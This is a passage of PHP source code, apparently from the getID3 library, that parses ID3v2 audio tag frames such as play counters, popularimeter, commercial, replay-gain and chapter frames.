				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
			//   There may only be one 'PCNT' frame in each tag.
			//   When the counter reaches all one's, one byte is inserted in
			//   front of the counter thus making the counter eight bits bigger
			// <Header for 'Play counter', ID: 'PCNT'>
			// Counter        $xx xx xx xx (xx ...)

			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
			//   There may be more than one 'POPM' frame in each tag,
			//   but only one with the same email address
			// <Header for 'Popularimeter', ID: 'POPM'>
			// Email to user   <text string> $00
			// Rating          $xx
			// Counter         $xx xx xx xx (xx ...)

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_emailaddress) === 0) {
				$frame_emailaddress = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			$parsedFrame['email']   = $frame_emailaddress;
			$parsedFrame['rating']  = $frame_rating;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
			//   There may only be one 'RBUF' frame in each tag
			// <Header for 'Recommended buffer size', ID: 'RBUF'>
			// Buffer size               $xx xx xx
			// Embedded info flag        %0000000x
			// Offset to next tag        $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
			$frame_offset += 3;

			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
			//   There may be more than one 'CRM' frame in a tag,
			//   but only one with the same 'owner identifier'
			// <Header for 'Encrypted meta frame', ID: 'CRM'>
			// Owner identifier      <textstring> $00 (00)
			// Content/explanation   <textstring> $00 (00)
			// Encrypted datablock   <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']     = $frame_ownerid;
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
			//   There may be more than one 'AENC' frames in a tag,
			//   but only one with the same 'Owner identifier'
			// <Header for 'Audio encryption', ID: 'AENC'>
			// Owner identifier   <text string> $00
			// Preview start      $xx xx
			// Preview length     $xx xx
			// Encryption info    <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {    // 4.22  LNK  Linked information
			//   There may be more than one 'LINK' frame in a tag,
			//   but only one with the same contents
			// <Header for 'Linked information', ID: 'LINK'>
			// ID3v2.3+ => Frame identifier   $xx xx xx xx
			// ID3v2.2  => Frame identifier   $xx xx xx
			// URL                            <text string> $00
			// ID and additional data         <text string(s)>

			$frame_offset = 0;
			if ($id3v2_majorversion == 2) {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
			} else {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
				$frame_offset += 4;
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_url) === 0) {
				$frame_url = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['url'] = $frame_url;

			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
			//   There may only be one 'POSS' frame in each tag
			// <Head for 'Position synchronisation', ID: 'POSS'>
			// Time stamp format         $xx
			// Position                  $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
			//   There may be more than one 'Terms of use' frame in a tag,
			//   but only one with the same 'Language'
			// <Header for 'Terms of use frame', ID: 'USER'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// The actual text      <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['language']     = $frame_language;
			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
			$parsedFrame['encodingid']   = $frame_textencoding;
			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
			//   There may only be one 'OWNE' frame in a tag
			// <Header for 'Ownership frame', ID: 'OWNE'>
			// Text encoding     $xx
			// Price paid        <text string> $00
			// Date of purch.    <text string>
			// Seller            <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);

			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
			if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) {
				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
			}
			$frame_offset += 8;

			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
			//   There may be more than one 'commercial frame' in a tag,
			//   but no two may be identical
			// <Header for 'Commercial frame', ID: 'COMR'>
			// Text encoding      $xx
			// Price string       <text string> $00
			// Valid until        <text string>
			// Contact URL        <text string> $00
			// Received as        $xx
			// Name of seller     <text string according to encoding> $00 (00)
			// Description        <text string according to encoding> $00 (00)
			// Picture MIME type  <string> $00
			// Seller logo        <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rawpricearray = explode('/', $frame_pricestring);
			foreach ($frame_rawpricearray as $key => $val) {
				$frame_currencyid = substr($val, 0, 3);
				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
			}

			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
			$frame_offset += 8;

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_sellername) === 0) {
				$frame_sellername = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);

			$parsedFrame['encodingid']        = $frame_textencoding;
			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['pricevaliduntil']   = $frame_datestring;
			$parsedFrame['contacturl']        = $frame_contacturl;
			$parsedFrame['receivedasid']      = $frame_receivedasid;
			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
			$parsedFrame['sellername']        = $frame_sellername;
			$parsedFrame['mime']              = $frame_mimetype;
			$parsedFrame['logo']              = $frame_sellerlogo;
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
			//   There may be several 'ENCR' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Encryption method registration', ID: 'ENCR'>
			// Owner identifier    <text string> $00
			// Method symbol       $xx
			// Encryption data     <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']      = $frame_ownerid;
			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)

			//   There may be several 'GRID' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Group ID registration', ID: 'GRID'>
			// Owner identifier      <text string> $00
			// Group symbol          $xx
			// Group dependent data  <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']       = $frame_ownerid;
			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
			//   The tag may contain more than one 'PRIV' frame
			//   but only with different contents
			// <Header for 'Private frame', ID: 'PRIV'>
			// Owner identifier      <text string> $00
			// The private data      <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
			//   There may be more than one 'signature frame' in a tag,
			//   but no two may be identical
			// <Header for 'Signature frame', ID: 'SIGN'>
			// Group symbol      $xx
			// Signature         <binary data>

			$frame_offset = 0;
			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
			//   There may only be one 'seek frame' in a tag
			// <Header for 'Seek frame', ID: 'SEEK'>
			// Minimum offset to next tag       $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
			//   There may only be one 'audio seek point index' frame in a tag
			// <Header for 'Seek Point Index', ID: 'ASPI'>
			// Indexed data start (S)         $xx xx xx xx
			// Indexed data length (L)        $xx xx xx xx
			// Number of index points (N)     $xx xx
			// Bits per index point (b)       $xx
			//   Then for every index point the following data is included:
			// Fraction at index (Fi)          $xx (xx)

			$frame_offset = 0;
			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
				$frame_offset += $frame_bytesperpoint;
			}
			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
			//   There may only be one 'RGAD' frame in a tag
			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
			// Peak Amplitude                      $xx $xx $xx $xx
			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
			//   a - name code
			//   b - originator code
			//   c - sign bit
			//   d - replay gain adjustment

			$frame_offset = 0;
			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			foreach (array('track','album') as $rgad_entry_type) {
				$rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
				$frame_offset += 2;
				$parsedFrame['raw'][$rgad_entry_type]['name']       = ($rg_adjustment_word & 0xE000) >> 13;
				$parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10;
				$parsedFrame['raw'][$rgad_entry_type]['signbit']    = ($rg_adjustment_word & 0x0200) >>  9;
				$parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100);
			}
			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);

			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];

			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CHAP">           (10 bytes)
			// Element ID      <text string> $00
			// Start time      $xx xx xx xx
			// End time        $xx xx xx xx
			// Start offset    $xx xx xx xx
			// End offset      $xx xx xx xx
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['time_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					switch ($subframe['name']) {
						case 'TIT2':
							$parsedFrame['chapter_name']        = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'TIT3':
							$parsedFrame['chapter_description'] = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'WXXX':
							@list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2);
							$parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url'];
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'APIC':
							if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) {
								list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches;
								$subframe['image_mime']   = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime));
								$subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype);
								$subframe['description']  = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description));
								if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) {
									// the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16)
									// the above regex assumes one byte, if it's actually two then strip the second one here
									$subframe_apic_picturedata = substr($subframe_apic_picturedata, 1);
								}
								$subframe['data'] = $subframe_apic_picturedata;
								unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata);
								unset($subframe['text'], $parsedFrame['text']);
								$parsedFrame['subframes'][] = $subframe;
								$parsedFrame['picture_present'] = true;
							} else {
								$this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format');
							}
							break;
						default:
							$this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)');
							break;
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
				unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC
			}

			$id3v2_chapter_entry = array();
			foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) {
				if (isset($parsedFrame[$id3v2_chapter_key])) {
					$id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key];
				}
			}
			if (!isset($info['id3v2']['chapters'])) {
				$info['id3v2']['chapters'] = array();
			}
			$info['id3v2']['chapters'][] = $id3v2_chapter_entry;
			unset($id3v2_chapter_entry, $id3v2_chapter_key);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CTOC">           (10 bytes)
			// Element ID      <text string> $00
			// CTOC flags        %xx
			// Entry count       $xx
			// Child Element ID  <string>$00   /* zero or more child CHAP or CTOC entries */
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;
			$parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;

			$terminator_position = null;
			for ($i = 0; $i < $parsedFrame['entry_count']; $i++) {
				$terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset);
				$frame_offset = $terminator_position + 1;
			}

			$parsedFrame['ctoc_flags']['ordered']   = (bool) ($ctoc_flags_raw & 0x01);
			$parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03);

			unset($ctoc_flags_raw, $terminator_position);

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
